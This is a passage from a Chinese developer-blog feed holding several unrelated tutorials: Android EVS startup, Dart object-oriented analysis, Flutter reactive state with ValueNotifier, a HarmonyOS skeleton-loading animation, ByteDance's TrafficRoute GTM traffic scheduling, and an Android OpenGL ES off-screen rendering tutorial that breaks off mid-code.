  • 连接 EVS 服务 Evs App 通过与 EVS 管理器(如 EvsEnumerator)进行交互,连接到车辆的视觉系统。EvsEnumerator 是一个服务,它为车辆提供硬件视觉数据流的管理,Evs App 会通过它来获取、显示或处理摄像头图像、视频流等。
  • 模拟车辆档位信号 Evs App 允许模拟车辆的档位信号(如倒车、停车等)。这对于在开发环境或测试环境中模拟不同车辆状态(比如倒车时显示倒车影像)非常重要。
  • 与 Vehicle HAL (硬件抽象层) 的集成 Evs App 可以选择是否与 Vehicle HAL 进行交互。如果与 Vehicle HAL 集成,它能够监控车辆的状态变化(如档位变化、转向信号等),并根据这些变化动态调整 EVS 流程。例如,在倒车时(GEAR_REVERSE),它可能会自动启动显示倒车影像。

4 CAR.EVS

CAR.EVS进程指的是 CarEvsService.java,它是 Framework 层中的 EVS 服务类。该服务由 CarEvsManager 类进行管理,且 CarEvsPreviewActivity 通过 CarEvsManager 直接调用 EVS 服务。该部分内容比较多且重要,将不在本篇博客进行分析。

5 总结

本篇博客通过日志信息分析了整个Evs系统的启动流程,并分别介绍了其重要的组成部分:直接与硬件打交道的# android.hardware.automotive.evs-aidl-default-service进程;管理和连接硬件服务的evsmanagerd;与 Vehicle HAL 的通信EvsApp;Framework层的CAR.EVS。

by FerdinandHu at January 20, 2025 01:36 PM

Dart 之面向对象分析

Dart之面向对象分析.png

前言

面向对象方法(OOM)的核心思想是通过引入对象的概念,将现实世界中的事物、事件、规则和概念进行抽象,以一种更接近现实世界的视角建模问题域。而面向对象分析(OOA)是面向对象方法中的第一阶段,这一阶段将决定后续阶段的实现。

一、面向对象分析概述

面向对象分析是将现实世界中的问题抽象为对象的过程。

  • 目的:通过对问题的分析建立分析模型,也就是将现实世界中的事物转换为抽象模型。
  • 方法:将数据和功能结合为一个对象来考虑,将系统的行为和信息间的关系表示为迭代构造特征。可以理解为其构造过程是迭代进行的,而不是从一而终的。
  • 主要活动:认定对象、组织对象、描述对象之间的相互作用、确定对象的操作、定义对象的内部信息。

二、面向对象分析

面向对象分析主要包含以下几个活动。 面向对象分析.png

2.1、认定对象

  • 识别出需要建模的对象,也就是现实世界中的实体或概念(如:猫、狗等)
  • 一般是从需求文档中提取名词。
  • 注意:认定对象是面向对象分析的第一步,其认定结果对后续影响非常大,应当仔细确定这些实体是否有必要建模。

示例:

对象动物园系统中的实体或概念
动物如老虎、狮子、大象、长颈鹿等,它们是动物园的主要展示对象。
游客来动物园参观的人群,他们与动物进行互动,如观看动物表演、喂食等。
饲养员负责动物的日常饲养、照顾和清洁工作的人员。
管理员负责动物园的整体运营和管理,包括动物引进、园区维护、游客安全等。

2.2、组织对象

  • 确定对象之间的关系和层次结构。
  • 常涉及到识别对象的类(或类型),以及它们之间的继承、关联、聚合等关系。
  • 如对象之间的关系能够用是一种来描述,则建立泛化继承关系。
  • 如对象之间的关系能够用有一个来描述,则建立组合聚合来组织对象。

示例:

注:我们这里只举例老虎这个动物。

对象/类名称组织关系与说明
动物类(基类)作为所有动物种类的基类,包含共同属性和方法(如体重、年龄、叫声等)。
老虎类继承自动物基类,包含老虎特有的属性和方法(如条纹、捕猎行为等)。
游客类包含游客的个体信息(如姓名、年龄等)和游客行为(如购票、参观等)。
饲养员类包含饲养员的个人信息(如姓名、负责动物种类等)和饲养行为(如喂食、清洁等)。
管理员类包含管理员的个人信息(如姓名、管理职责等)和管理行为(如动物引进等)。

2.3、描述对象之间的相互作用

  • 描绘对象之间如何协作完成任务
  • 涉及定义对象之间如何相互通信和协作。
  • 通过绘制UML(统一建模语言)中的序列图、协作图或活动图来展示对象间的交互。

示例:

注:我们这里只举例老虎这个动物。

相互关系示例
游客与动物观看、拍照、喂食(允许时)。
饲养员与动物喂食、清洁笼舍、观察健康状况。
管理员与饲养员分配任务、检查工作、沟通需求。
管理员与游客维护秩序、处理投诉、传达信息。
动物与动物社交互动、竞争关系(如领地争夺)。

2.4、确定对象的操作

  • 细化每个对象的具体操作
  • 包括它们的参数返回值以及必要的内部状态管理

示例:

对象/类操作/方法
动物类makeSound():发声 eat():进食 rest():休息 interact():与游客互动
游客类purchaseTicket():购票enter():入园 visit():参观动物
饲养员类feed():喂食动物 clean():清洁笼舍monitorHealth():监控健康
管理员类introduceAnimal():引进动物 maintainPark():维护园区

2.5、定义对象内部信息

  • 定义对象的内部信息涉及描述对象的内部状态或属性
  • 内部信息包括内部数据信息、信息存储方法、继承关系等。

示例:

对象/类内部信息/属性
动物类name:动物名称species:动物种类 age:年龄 healthStatus:健康状况
游客类name:游客姓名ticket:门票信息(类型、购买时间等)
饲养员类name:饲养员姓名 assignedAnimals:负责的动物列表
管理员类name:管理员姓名 parkStatus:园区状态(开放、关闭、维护中)

三、总结

本小节我们从动物园的例子出发,分别介绍了面向对象分析里面的几个重要活动,包括认定对象、组织对象、描述对象之间的相互作用、确定对象的操作、定义对象的内部信息。

by 好的佩奇 at January 20, 2025 12:58 PM

juejin article

变化莫测——响应式编程与订阅者模式

1. 响应式编程与订阅者模式基础知识

1.1 响应式编程

概念:响应式编程(Reactive Programming)是一种以数据流为核心的编程范式,强调状态变化的声明式处理。通过定义状态间的关系,数据更新后会自动触发相应的逻辑。

特点

  • 数据流:一切状态均可视为流(Streams)。
  • 声明式:开发者只需描述数据间的关系,框架自动处理更新。
  • 可组合性:支持组合多个流形成新的流。

常见场景

  • 用户界面更新。
  • 实时数据展示(如股票行情、聊天消息)。
  • 动态表单联动逻辑。

工具

  • Dart 中的 Streams
  • 响应式框架如 RxDart。

1.2 订阅者模式

概念:订阅者模式(Observer Pattern)是一种设计模式,通过定义一种“一对多”关系,当被观察者(Subject)的状态变化时,通知所有订阅者(Observers)。

特点

  • 松耦合:订阅者与被观察者之间不直接依赖。
  • 扩展性:可以动态添加或移除订阅者。

常见场景

  • GUI 事件监听。
  • 消息队列系统。
  • 动态模块化功能。

2. 响应式编程与订阅者模式的结合

响应式编程可以看作是订阅者模式的扩展,通过将数据流抽象为可被观察的对象(Observable),实现了一种高级的订阅机制。两者的结合允许开发者以流为单位构建动态的、实时更新的系统。


3. 示例:通过订阅者模式实现响应式编程

场景描述

一个简单的计数器应用:点击按钮增加计数器的值,同时更新 UI。通过订阅者模式实现数据流驱动的响应式更新。

实现过程

3.1 数据模型

通过 ValueNotifier 创建可监听的状态对象。

// 被观察者
class CounterModel {
  ValueNotifier<int> counter = ValueNotifier<int>(0);

  void increment() {
    counter.value++;
  }
}

3.2 UI 层实现

使用 ValueListenableBuilder 订阅 ValueNotifier 的变化,自动更新 UI。

import 'package:flutter/material.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  final CounterModel counterModel = CounterModel();

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(title: Text("响应式编程示例")),
        body: Center(
          child: ValueListenableBuilder<int>(
            valueListenable: counterModel.counter,
            builder: (context, value, child) {
              return Text(
                "计数器值:$value",
                style: TextStyle(fontSize: 24),
              );
            },
          ),
        ),
        floatingActionButton: FloatingActionButton(
          onPressed: counterModel.increment,
          child: Icon(Icons.add),
        ),
      ),
    );
  }
}

实现效果

  • 点击按钮时,CounterModel 的值会变化。
  • 订阅者 ValueListenableBuilder 自动监听变化并更新界面,无需手动刷新。

4. 优缺点分析

优点

  1. 高效更新:数据驱动 UI,无需手动操作视图。
  2. 降低耦合:逻辑与 UI 解耦,便于模块化开发。
  3. 实时响应:支持动态、异步数据更新。

缺点

  1. 复杂性增加:订阅关系可能导致维护困难,尤其是订阅链过长时。
  2. 性能问题:频繁的通知会增加开销。
  3. 内存泄漏风险:未正确取消订阅可能导致内存泄漏。

5. 适用场景

推荐场景

  1. 动态表单:表单输入与结果实时联动。
  2. 实时应用:如消息推送、股票行情。
  3. 全局状态共享:如主题、语言切换。

避免场景

  • 静态内容:对于变化不频繁的数据,不建议使用订阅者模式。
  • 小型项目:逻辑简单的项目可能无需引入复杂机制。

6. 注意事项

  1. 避免过度嵌套:保持订阅链简洁清晰,必要时使用中间件优化。
  2. 管理生命周期:及时取消订阅,避免内存泄漏。
  3. 优化性能:减少不必要的通知频率,通过分批更新等方式优化。

总结

响应式编程与订阅者模式结合,使得开发者能够更高效地处理数据变化,并动态更新 UI。在 Flutter 中,这种模式广泛应用于 StreamBuilderValueListenableBuilderProvider 等组件。合理使用这些工具,可以在实现复杂功能的同时提升代码的可维护性和可读性。

by 人形打码机 at January 20, 2025 12:57 PM

juejin android

鸿蒙开发中的骨架图:提升用户体验的关键一环

大家好,我是小 z,今天要给大家分享一个提升用户体验的超实用技巧 —— 骨架图🎯

在当今快节奏的数字化时代,用户对于应用程序的体验要求越来越高。一个响应迅速、视觉流畅的应用,往往能在众多竞品中脱颖而出🌟。在鸿蒙开发中,骨架图作为优化用户体验的重要手段,正逐渐受到开发者们的广泛关注。

一、什么是骨架图

screenshot_20250120_193727.png

骨架图,简单来说,是一种在数据尚未加载完成时,展示页面大致结构的占位图形。它就像一个精心搭建的建筑蓝图🏗️,以简洁的线条和几何形状勾勒出页面的主要元素,如标题栏、列表项、图片区域等。当用户打开应用,首先映入眼帘的不再是一片空白,而是一个大致的页面框架,为后续填充具体内容提供了基础。

二、骨架图的作用

  • 减少用户等待焦虑😟:在网络环境不佳或数据量较大的情况下,数据加载可能需要一定时间。若没有骨架图,用户面对的将是长时间的空白屏幕,这极易引发用户的焦虑情绪,甚至导致用户放弃使用应用。而骨架图的出现,让用户明确知道页面正在加载,并且对即将呈现的内容有了初步预期,从而有效缓解等待过程中的焦虑。
  • 提升视觉连贯性🎨:从空白页面到突然加载出完整内容,这种突兀的转变可能会给用户带来视觉上的不适感。骨架图则能在加载过程中保持页面的视觉连贯性,通过逐渐过渡到真实内容,为用户提供一种流畅、自然的视觉体验。

三、鸿蒙开发中实现骨架图的方法

在鸿蒙开发中,opacity(透明度)属性与animateTo函数的精妙搭配,为构建引人入胜的骨架图效果提供了有力支持,极大地优化了用户体验。

1. 利用 opacity 奠定视觉基础

在给定的代码里,TravelSkeletonView组件通过@State columnOpacity: number = 1定义了透明度状态变量columnOpacity ,初始值设为 1。这意味着在页面加载的初始阶段,骨架图以完全不透明的状态呈现,用户能够清晰看到页面的大致结构,比如各个占位元素所代表的区域布局。这种清晰的初始展示,为后续的动态变化提供了稳定的视觉基准,就像是搭建舞台,先把布景布置好🎭。

2. animateTo 驱动动态变化

startAnimation(): void{
    animateTo(CommonConstants.SKELETON_ANIMATION, () => {
      this.columnOpacity = 0.5
    })
  }
  • animateTo函数在整个骨架图动态展示中扮演着核心驱动角色。它接收两个关键参数,第一个参数CommonConstants.SKELETON_ANIMATION 详细定义了动画的各项特性。其中,持续时间设定为 400 毫秒,这决定了整个动画从开始到结束的时长;节奏设为 0.6,影响动画的速度变化;缓动曲线选择Curve.EaseInOut,使得动画在开始和结束时都较为平滑,避免突兀;延迟时间 200 毫秒,让动画在组件出现 200 毫秒后才启动,给予用户一定的适应时间;迭代次数设为无限次,且播放模式为PlayMode.Alternate(交替播放),这意味着动画会不断循环,且每次播放方向相反。想象一下,这就像是舞台上的灯光在慢慢闪烁,吸引着观众的注意力✨。
  • 第二个参数是一个回调函数,当动画执行时,会将columnOpacity的值从初始的 1 改变为 0.5。结合opacity属性来看,在build方法中,Column组件通过.opacity(this.columnOpacity)将自身的透明度与columnOpacity绑定。所以,随着animateTo函数驱动columnOpacity值的改变,整个骨架图组件的透明度会逐渐降低。这一过程模拟出数据加载时,骨架图逐渐被真实内容替代的视觉效果,给用户一种数据正在逐步填充的直观感受,仿佛舞台上的演员在慢慢走上台,替换掉了之前的占位道具🎭。

3. 二者协同触发与展示

在build方法里,.opacity(this.columnOpacity).onAppear(() => { this.startAnimation() })这部分代码至关重要。.opacity(this.columnOpacity)确保了骨架图组件的透明度实时跟随columnOpacity值变化。而.onAppear(() => { this.startAnimation() })则表明,当骨架图组件被渲染到屏幕上时,startAnimation方法会立即被触发。也就是说,组件一出现,animateTo函数驱动的动画就开始改变骨架图的透明度,从而向用户展示数据加载的动态过程。这种动态变化不仅增强了页面的视觉层次感,还巧妙地暗示了用户数据加载的进程,让用户在等待数据的过程中,有更丰富的视觉反馈,而不是面对单调的空白等待。

四、完整代码

  • 使用的color和AnimateParam对象
{
  "color": [
    {
      "name": "color_1",
      "value": "#ff0000"
    },
    {
      "name": "skeleton_color_deep",
      "value": "#1A000000"
    },
    {
      "name": "skeleton_color_medium",
      "value": "#FFF2F3F4"
    },
    {
      "name": "skeleton_color_light",
      "value": "#FFECECEC"
    },
    {
      "name": "skeleton_color",
      "value": "#ECECEC"
    }
  ]
}

static readonly SKELETON_ANIMATION: AnimateParam = {
    duration: 400,
    tempo: 0.6,
    curve: Curve.EaseInOut,
    delay: 200,
    iterations: -1,
    playMode: PlayMode.Alternate
  }

  • 整体骨架视图
import { BreakpointConstants, BreakpointType, CommonConstants } from "utils";
import { NearbySpotLoadingSkeleton } from "./NearbySpotLoadingSkeleton";

const NEARBY_VISIBLE_LENGTH = 10


@Component
export struct TravelSkeletonView {
  nearbySpots: Array<Number> = new Array(NEARBY_VISIBLE_LENGTH).fill(1).map((v: number, index: number) => index + 1);
  @State columnOpacity: number = 1

  @StorageLink('currentHeightBreakpoint') currentHeightBreakpoint: string = BreakpointConstants.BREAKPOINT_LG;
  @StorageLink('currentWidthBreakpoint') currentWidthBreakpoint: string = BreakpointConstants.BREAKPOINT_LG;

  startAnimation(): void{
    animateTo(CommonConstants.SKELETON_ANIMATION, () => {
      this.columnOpacity = 0.5
    })
  }

  build() {
    Column() {
      Row() {
        Row() {
        }
        .alignItems(VerticalAlign.Center)
        .justifyContent(FlexAlign.Center)
        .backgroundColor($r('app.color.skeleton_color'))
        .height(20)
        .width('20%')
        .padding(5)

        Blank()

        Row() {
        }
        .width('15%')
        .height(20)
        .backgroundColor($r('app.color.skeleton_color'))
      }
      .alignItems(VerticalAlign.Center)
      .width('100%')

      List() {
        ForEach(this.nearbySpots, (item:number) => {
          ListItem() {
            NearbySpotLoadingSkeleton()
          }
          .margin({ left: 5, right: 5 })
        })
      }
      .nestedScroll({
        scrollForward: NestedScrollMode.PARENT_FIRST,
        scrollBackward: NestedScrollMode.SELF_FIRST
      })
      .lanes(new BreakpointType({ sm: 1, md: 1, lg: 2 }).getValue(this.currentWidthBreakpoint))
      .scrollBar(BarState.Off)
      .width('100%')
      .layoutWeight(1)
      .listDirection(Axis.Vertical)
    }
    .opacity(this.columnOpacity)
    .onAppear(() => {
      this.startAnimation()
    })
    .alignItems(HorizontalAlign.Start)
    .width('100%')
  }
}
  • 具体渲染骨架组件
import Constants from "../constants/Constants"

@Component
export struct NearbySpotLoadingSkeleton{

  build() {
    Row() {
      Column() {
        Row()
          .width('100%')
          .height(60)
          .backgroundColor($r('app.color.skeleton_color_deep'))

        Row()
          .height(20)
          .width("40%")
          .margin({ top: 5})
          .backgroundColor($r('app.color.skeleton_color_medium'))

      }
      .width('40%')
      .padding(8)
      .alignItems(HorizontalAlign.Center)

      Column() {
        Row()
          .height(20)
          .width("30%")
          .backgroundColor($r('app.color.skeleton_color_medium'))

        Row()
          .height(20)
          .width('80%')
          .padding({ top: 5 })
          .backgroundColor($r('app.color.skeleton_color_light'))

      }
      .layoutWeight(1)
      .alignItems(HorizontalAlign.End)

    }
    .borderRadius(Constants.BORDER_RADIUS_MD)
    .backgroundColor(Color.White)
    .height(100)
    .width('100%')
    .padding(5)
    .margin({ top: 5, bottom: 5, left: 10, right: 10})
  }
}

在实际开发中,nearbySpots: Array = new Array(NEARBY_VISIBLE_LENGTH).fill(1).map((v: number, index: number) => index + 1);确定了要渲染的骨架数量。开发者完全可以依据应用的整体风格以及用户体验需求,灵活调整animateTo函数中的动画参数,如时长、缓动曲线、关键帧等,同时搭配opacity的变化范围,从而打造出各种独具特色且舒适的骨架图加载效果。让我们一起用这些技术,为用户带来更加精彩的应用体验吧🎉!

by 拥有一颗学徒的心 at January 20, 2025 12:08 PM

juejin article

揭秘字节跳动内部流量调度与容灾实践【上】

摘要: 在字节跳动,平衡超大规模流量的稳定性、性能与成本,是一系列产品共同面临的挑战,其中, Trafficroute GTM 起到了不可忽视的作用。Trafficroute GTM 承载了字节跳动亿级流量、覆盖了大规模场景,是一款基于 DNS 的流量路由服务,我们将通过两期文章,揭秘字节跳动如何通过 Trafficroute GTM 巧妙应对以上挑战,实现高效流量管理!

本文为上期,主要介绍基于TrafficRoute GTM 的 GEO-基础路由模式进行自定义流量编排,主要内容为:

  • TrafficRoute GTM介绍

  • TrafficRoute GTM的GEO-基础路由模式的能力

  • 通过流量编排实现同城多活、多CDN调度、CDN回源调度等经典架构及业务在稳定性、性能、成本等方面的收益

下期预告:下期我们将介绍TrafficRoute GTM 的Perf-智能路由模式,怎么通过它实现流量智能调度,敬请期待。

面临超大规模流量时,平衡好稳定性、性能、成本,能确保用户在访问服务时获得流畅、快速且可靠的体验,这对于提高用户满意度和粘性至关重要。TrafficRoute GTM 为业务提供基于 DNS 的全球流量负载均衡 、智能调度、自动 容灾服务,可以帮助业务提升连续性、实现资源优化、获取更多竞争优势。

1.火山引擎 Trafficroute GTM 简介

火山引擎 Trafficroute GTM 是基于 DNS 的流量路由服务。它依托全球1100+分布式探测节点,构建出强大的网络质量感知能力,实现了对 “端-边-云” 全链路流量的质量感知,从而能根据APP应用的实时的访问质量、节点负载和健康状况作出动态的流量调度。

此外,Trafficroute GTM 还提供灵活的调度策略,其中GEO-基础路由功能丰富,包括负载均衡、会话粘性和故障转移等多种特性。而Perf-智能路由则在基础路由的基础上,进一步提供性能优先和负载反馈等智能调度能力,以满足更高层次的调度需求。

图片

一图看懂 TrafficRoute GTM

在字节跳动内部业务中,通过对Trafficroute GTM 能力的合理运用,落地了同城多活、多云混合等经典架构,也落地了边缘下沉,边缘计算x中心云等大规模分布式场景的最佳实践。

2.GEO-基础路由,实现流量自定义编排

TrafficRoute GTM 的 GEO-基础路由赋予用户灵活的流量管理能力,用户可根据具体业务需求,如负载均衡、就近接入、多活/灾备等,自定义路由调度策略,通过资源(地址池) 编排 、健康检查编排、路由(调度)规则 编排等能力,打造个性化的流量调度与容灾解决方案。

图片

2.1地址资源编排:地址按需分类

资源是指流量访问的终点,包括公有云的 EIP 、CDN 的 CNAME 或边缘接入点等。TrafficRoute GTM 支持用户按照业务场景对资源(地址)进行自定义分类、组合和编排,编排形成的地址池可被路由规则引用,进而打造个性化的流量调度与容灾解决方案。

图片

2.2健康检查编排:全链路监测能力

健康检查是实现自动容灾的必要条件,TrafficRoute GTM 具备覆盖全球范围的 L3/L4/L7 健康检查功能,用户可以配置不同灵敏度的全链路监测能力,以此为自动容灾提供精准的决策支持,最终实现最快分钟级自动容灾。

图片

2.3路由规则编排:流量调度和容灾

通过精心配置 TrafficRoute GTM 的路由(调度)规则,可以精确控制流量的来源与去向,同时在发生故障时,确保流量能够按照预设的容灾方案进行故障转移。

图片

3.字节跳动流量编排内部实践

在字节跳动内部业务中,通过 TrafficRoute GTM 的自定义流量编排实现了同城多活、异地灾备、全球多CDN调度、CDN回源调度等经典架构,帮助内部业务:

  • 在稳定性上,将MTTR降低至分钟级,实现最快1分钟故障发现,3-5分钟90%+流量收敛(由于流量收敛时长受客户端分布、localDNS行为、是否使用长连接等多种因素影响,3-5分钟90%+为参考值)
  • 在性能上,通过编排,将客户流量调度至各自访问体验最佳节点上,实现访问时延降低15%+
  • 在成本上,通过编排,将流量优先调度至单位成本更低的资源上,实现带宽成本降低10%+

图片

3.1同城多活,异地灾备,确保业务稳定与连续

在字节跳动业务中,同城多活与异地灾备架构是确保超大规模业务全天候稳定运行的核心策略之一。借助 GTM 的 GEO-基础路由模式,我们成功构建了AZ 间流量 负载均衡 、 Region 间异地灾备、客户端 GEO & ISP 就近访问、分钟级自动 容灾 4大能力, 以这 4 大能力为保障,实现了流量负载均衡、客户端就近接入、分钟级自动容灾等,确保了业务的稳定性和连续性。

图片

同城多活 & 异地灾备

AZ 间流量 负载均衡

通过编排路由规则的地址池权重,使得华北移动的客户端按照60% vs 40%比例在RegionA的AZ之间实现了负载均衡

图片

同时,通过打开 *会话粘性开关(TOB版本待发布),使得特定的华北移动客户端始终访问同一个EIP,实现会话保持功能。

图片

Region间异地灾备

通过编排路由规则的生效地址池集合 vs 其他地址池集合,实现了当Region A整体故障,流量切到Region B,实现异地容灾能力。

图片

图片

客户端 GEO & ISP 就近访问

通过编排路由规则的线路 & 生效地址池集合,实现了根据客户端地理位置运营商来就近访问服务的能力,从而确保时延最低、性能最优、体验最佳。

图片

分钟级自动 容灾

通过编排健康检查规则,实现了最快1分钟故障感知&容灾切换,3-5分钟 90%+流量收敛的能力;且可感知全链路的故障,覆盖客户端->运营商网络->机房入口->后端服务。

图片

图片

以下是字节跳动内部自动容灾实践案例,某个面向企业级客户的边缘云与中心云混合部署业务,在凌晨3点47分遭遇了某机房故障,GTM在3点48分迅速检测到这一故障,并自动启动了容灾机制。到了4点左右,中心机房已成功收敛了90%的流量。随后,在4点02分,GTM系统监测到故障已恢复,随即自动将流量回切至边缘机房。

图片

3.2全球多CDN调度,始终选用“最优” 加速厂商

字节跳动的业务,会在全球应用包括火山引擎 CDN 在内的多家 CDN 厂商,来实现资源加速。然而,不同 CDN 厂商的服务能力存在差异,即便是同一厂商,在不同地区或不同时间段的表现也有所不同。因此,确保在全球各个地区始终选用“最优” CDN 厂商,成为了一项重要需求。

借助 TrafficRoute GTM 的流量编排,业务方能够根据不同区域的需求,灵活选择“资源覆盖更广”或“加速性能更好”的 CDN 厂商进行内容加速,同时可在多个厂商之间权衡成本效益(基于P95带宽计费)。同时, TrafficRoute GTM 确保了不同区域的流量能够“就近接入”选定的 CDN 厂商,以保障接入性能。在国内,针对不同运营商采用了定制化的路由策略,避免了 ISP 间的“跨网”问题,确保网络流畅。

为了应对流量管理中的潜在故障,每个流量部分都配置了多个地址池(即多个厂商),以实现故障时的自动流量切换。在故障探测方面, TrafficRoute GTM 采用了智能推荐的分布式综合探测方法,确保探测点与流量来源处于同一区域,减少误判风险,并具备分钟级的故障感知和流量迁移能力。

此外,故障转移(Failover)算法遵循“快速迁移,慢速恢复”的原则,结合历史流量质量监测和防抖动算法,以优化策略执行,确保服务的连续性和稳定性。

图片

3.3 CDN回源调度,保障源站可用性

字节跳动内部业务中,每时每刻都有超大规模的视频、图文、API等流量经过 CDN/DSA 加速回到源站,因此源站的可用性至关重要。

为确保源站的可用性,我们通过 GTM 将源站接入点(一般是若干EIP)封装成回源 域名,回源域名被加载到 CDN 厂商的回源配置当中。由于回源域名由 GTM 托管,因此其具备了流量 负载均衡 、全链路健康检查、分钟级自动 容灾等能力,保证了 CDN 厂商至源站这一回源链路的高可用性。这一容灾策略与 CDN 厂商回源机制本身包含的容灾策略相融合,可构建更加健壮的回源链路,进一步确保链路的高可用性。

图片

在确保源站的可用性的过程中,通过 GTM 实现了两大能力,一是源站负载均衡,二是源站自动容灾。通过在GTM回源域名上配置源站的权重,可以实现将CDN回源流量在不同站点之间进行分配,保障了源站负载均衡;GTM通过周期性http健康检查,实时感知源站运行状态,无论是部分节点异常还是源站整体故障,GTM都能在1分钟内感知并完成容灾切换,实现了源站自动容灾。

以下是字节跳动内部CDN回源切流实践案例,通过GTM在14点08分将源站的telecom线路权重调整为0,14点12分左右源站telecom线路流量切空,14点42分左右通过GTM复原源站的telecom线路权重,14点45分左右源站telecom线路实现流量100%收敛。

图片

END

通过搭建同城多活、异地灾备;全球 CDN 调度;CDN 回源调度等经典架构,Trafficroute GTM 帮助字节跳动内部业务经受了超大规模流量考验,确保始终为用户提供稳定的服务。

by 火山引擎边缘云 at January 20, 2025 11:17 AM

juejin android

Android Camera系列(八):MediaCodec视频编码下-OpenGL ES离屏渲染

所有随风而逝的都是属于昨天的,所有历经风雨留下来的才是面向未来的

本系列主要讲述Android开发中Camera的相关操作、预览方式、视频录制等。项目结构简单、代码耦合性低,旨在帮助大家能从中有所收获(方便copy :) ),对于个人来说也是一个总结的好机会。

引言

上一篇中我们采用了共享EGLContext的方式,实现了将SurfaceTexture纹理绘制到不同线程的Surface中。这种方式需要采用多线程,实现起来不够线性,能不能在单一线程中将纹理绘制到多个Surface上呢?

还记得我们Camera2章节吗,Camera2是如何实现一份数据绘制到不同的Surface中的呢?查看源码我们可知,他是通过创建N个EGLSurface,每个EGLSurface绑定不同的Surface,具体要绘制到哪个Surface就通过makeCurrent方法进行切换控制。

离屏渲染

要将渲染的结果输出到不同的目标,我们需要使用一种称为离屏渲染的技术。

什么是离屏渲染呢?顾名思意,就是让OpenGL不将渲染的结果直接输出到屏幕上,而是输出到一个中间缓冲区(一块GPU空间),然后再将中间缓冲区的内容输出到屏幕或编码器等目标上,这就称为离屏渲染。

在Android系统下可以使用三种方法实现同时将OpenGL ES的内容输出给多个目标(屏幕和编码器)。第一种方法是二次渲染法;第二种方法是FBO;第三种是使用BlitFramebuffer

一. 二次渲染

想通过二次渲染实现OpenGL ES将渲染结果送给屏幕和编码器,我们必须自定义EGL环境,创建屏幕预览EGLSurface和编码器EGLSurface。Android Camera系列(四):TextureView+OpenGL ES+Camera不熟悉自定义OpenGL ES环境,请查看该章节。我们在自己创建的OpenGL ES线程中使用EGL API,通过多次渲染将结果输出给多个目标Surface来实现二次渲染,架构图如下:

draw_twice.png

上图我们看到有SurfaceView,MediaCodec,Camera,OpenGL/EGL等组件。

  • SurfaceView用于展示OpenGL的渲染结果
  • MediaCodec用于编码,关联的Surface用于接收需要编码的数据
  • Camera用于采集视频数据,采集到数据后通知渲染线程,渲染线程通过SurfaceTexture从BufferQueue中取走数据交由OpenGL处理
  • OpenGL/EGL用于渲染,它收到数据后调用Shader程序进行渲染;将渲染结果输出到SurfaceView中显示到屏幕;然后我们需要切换当前渲染的EGLSurface,通过调用EGL的eglMakeCurrent方法,将默认SurfaceView的EGLSurface切换到MediaCodec的EGLSurface上,然后再次调用Shader程序进行渲染,并将渲染结果输出给MediaCodec的Surface进行编码。

通过上面的流程我们知道,二次渲染就是调用了两次Shader程序进行渲染,每次渲染后的结果输送给不同的Surface,因此称为二次渲染法

渲染核心代码实现如下:

/**
 * 二次渲染方式
 *
 * @param recordWindowSurface
 * @return
 */
private boolean drawTwice(WindowSurface recordWindowSurface) {
    boolean swapResult;
    // 先绘制到屏幕上
    mPreviewTexture.getTransformMatrix(mDisplayProjectionMatrix);
    mCameraFilter.draw(mTextureId, mDisplayProjectionMatrix);
    swapResult = mWindowSurface.swapBuffers();

    // 再绘制到视频Surface中
    mVideoEncoder.frameAvailable();
    recordWindowSurface.makeCurrent();
    GLES20.glViewport(0, 0,
            mVideoEncoder.getVideoWidth(), mVideoEncoder.getVideoHeight());
    mCameraFilter.draw(mTextureId, mDisplayProjectionMatrix);
    recordWindowSurface.setPresentationTime(mPreviewTexture.getTimestamp());
    recordWindowSurface.swapBuffers();

    // Restore
    GLES20.glViewport(0, 0, mWindowSurface.getWidth(), mWindowSurface.getHeight());
    mWindowSurface.makeCurrent();
    return swapResult;
}

代码中我们有两个WindowSurface,一个是预览的WindowSurface,一个是编码WindowSurface,代码实现和上面的流程完全一样。

WindowSurface是我们在 Android Camera系列(四)中对EGL进行了封装,CameraFilter我们在Android OpenGLES2.0开发(八)中定义的Shader程序。

二. FBO

上面的代码流程我们知道,CameraFilter程序会调用两次draw方法,将同一个纹理绘制到不同的Surface上,看起来貌似没有问题。如果CameraFilter中要对图像进行变换,如美颜、高斯模糊等操作,那么我们就要对同一个纹理进行两次计算,这无疑是对GPU的浪费,且效率低下。那么我们如何只计算一次,把结果输出给不同的Surface呢?

OpenGL ES为我们提供了一种高效的办法,即FBO(FrameBufferObject)。接下里我们看看FBO是如何将渲染结果输送给多个目标的

draw_FBO.png

FBO法中我们操作步骤如下:

  1. 将渲染结果绘制到FBO中
  2. 将FBO数据输送到屏幕中
  3. 将FBO数据输送到编码器

FBO法中,我们不直接将OpenGL ES的渲染结果输送给不同的Surface,而是将结果输出到FBO中,FBO可以理解为一块显存区域,用于存放OpenGL ES的渲染结果

我们知道CameraFilter着色器程序是将SurfaceTexture纹理渲染到EGLSurface中的,如何将纹理渲染到FBO帧缓冲区中呢,我们需要一个渲染到FBO中的着色器程序。

渲染结果输出到FBO后,我们可以将FBO结果分别输出给不同的目标,FBO->屏幕,FBO->MediaCodec。而FBO输出到不同的目标也需要一个新的着色器去绘制。

1. 创建FBO着色器

由上面的概念我们知道FBO就是一块缓冲区,那么我们就需要创建出这块缓冲区出来,我们需要对CameraFilter进行改造

/**
 * 渲染Camera数据,可离屏渲染到FBO中
 */
public class CameraFilter implements AFilter {
    //FBO id
    protected int[] mFrameBuffers;
    //fbo 纹理id
    protected int[] mFrameBufferTextures;
    // 是否使用离屏渲染
    protected boolean isFBO;
    
    public void setFBO(boolean FBO) {
        isFBO = FBO;
    }
    
    /**
     * 创建帧缓冲区(FBO)
     *
     * @param width
     * @param height
     */
    public void createFrameBuffers(int width, int height) {
        if (mFrameBuffers != null) {
            destroyFrameBuffers();
        }
        //fbo的创建 (缓存)
        //1、创建fbo (离屏屏幕)
        mFrameBuffers = new int[1];
        // 1、创建几个fbo 2、保存fbo id的数据 3、从这个数组的第几个开始保存
        GLES20.glGenFramebuffers(mFrameBuffers.length, mFrameBuffers, 0);

        //2、创建属于fbo的纹理
        mFrameBufferTextures = new int[1]; //用来记录纹理id
        //创建纹理
        int textureId = GLESUtils.create2DTexture();
        mFrameBufferTextures[0] = textureId;

        //让fbo与 纹理发生关系
        //创建一个 2d的图像
        // 目标 2d纹理+等级 + 格式 +宽、高+ 格式 + 数据类型(byte) + 像素数据
        GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, mFrameBufferTextures[0]);
